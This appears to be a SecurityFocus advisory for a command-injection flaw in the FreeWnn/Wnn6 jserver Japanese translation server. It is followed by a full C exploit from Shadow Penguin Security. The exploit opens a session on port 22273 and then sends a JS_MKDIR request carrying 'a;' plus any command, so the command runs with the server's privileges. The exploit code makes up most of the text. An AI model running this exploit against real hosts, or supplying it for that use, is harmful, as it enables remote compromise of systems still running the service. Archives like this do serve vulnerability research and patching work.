source: http://www.securityfocus.com/bid/3860/info

FreeWnn 1.1.0 is a kana-kanji (japanese) translation system. This software is a client-server type application, with the jserver portion acting as a server and performing translations for clients. The jserver component passes unsanitized input from the client via the JS_MKDIR command to a system() libcall, allowing arbitrary command execution with the semi-colon ";" command separation metacharacter. Commands sent in this manner will be executed at the privilege level of the jserver process. 

/*=========================================================================
   Wnn6 Exploit (tested on IRIX6.5 WorldView Janapese)
   The Shadow Penguin Security (http://www.shadowpenguin.org)
   Written by UNYUN ([email protected])
  =========================================================================
*/
#include <stdio.h>
#include <netdb.h>
#include <fcntl.h>
#include <ctype.h>
#include <unistd.h>
#include <strings.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>

#define TARGET_PORT 22273

int dump_recv(int sockfd)
{
    static char buf[4096];
    int i,r,sum=0;

    r=recv(sockfd,buf,sizeof(buf),0);
    for (i=0;i<r;i++){
        printf("0x%02X ",buf[i]&0xff);
        sum+=(int)buf[i];
    }
    printf("\n");
    return(sum);
}

main(int argc,char *argv[])
{
    int                 sockfd,i;
    struct sockaddr_in  target;
    struct hostent      *hs;
    static char         buf[512];
    static char         mkdircmd[4096];
    char                hostname[4096];
    char                username[4096];

    if (argc<3){
        printf("usage : %s TargetHost command {hostname} {username}\n",argv[0]);
        exit(1);
    }
    strcpy(hostname,"localhost");
    strcpy(username,"root");
    if (argc>=5)
        strcpy(username,argv[4]);
    if (argc>=4)
        strcpy(hostname,argv[3]);
    sockfd=socket(PF_INET, SOCK_STREAM, 0);
    target.sin_family=AF_INET;
    target.sin_port=htons(TARGET_PORT);
    if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if ((hs=gethostbyname(argv[1]))==NULL){
            printf("Can not resolve specified host.\n");
            exit(1);
        }
        target.sin_family = hs->h_addrtype;
        memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
    if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){
        printf("Can not connect to %s:%d\n",argv[1],TARGET_PORT);
        exit(1);
    } 

    /* JS_OPEN */
    buf[3]=1;
    buf[6]=0x4f;
    strncpy(buf+8,hostname,strlen(hostname));
    strncpy(buf+9+strlen(hostname),username,strlen(username));
    send(sockfd,buf,10+strlen(hostname)+strlen(username),0);
    dump_recv(sockfd);

    /* JS_ENV_EXIST */
    memset(buf,0,sizeof(buf));
    buf[3]=0x07;
    strncpy(buf+4,username,strlen(username));
    send(sockfd,buf,5+strlen(username),0);
    dump_recv(sockfd);

    /* JS_CONNECT */
    memset(buf,0,sizeof(buf));
    buf[3]=0x05;
    strncpy(buf+4,username,strlen(username));
    send(sockfd,buf,5+strlen(username),0);
    dump_recv(sockfd);

    /* JS_MKDIR */
    sprintf(mkdircmd,"a;%s",argv[2]);
    memset(buf,0,sizeof(buf));
    buf[3]=0x51;
    strncpy(buf+8,mkdircmd,strlen(mkdircmd));
    send(sockfd,buf,8+strlen(mkdircmd)+1,0);
    dump_recv(sockfd);

    close(sockfd);
}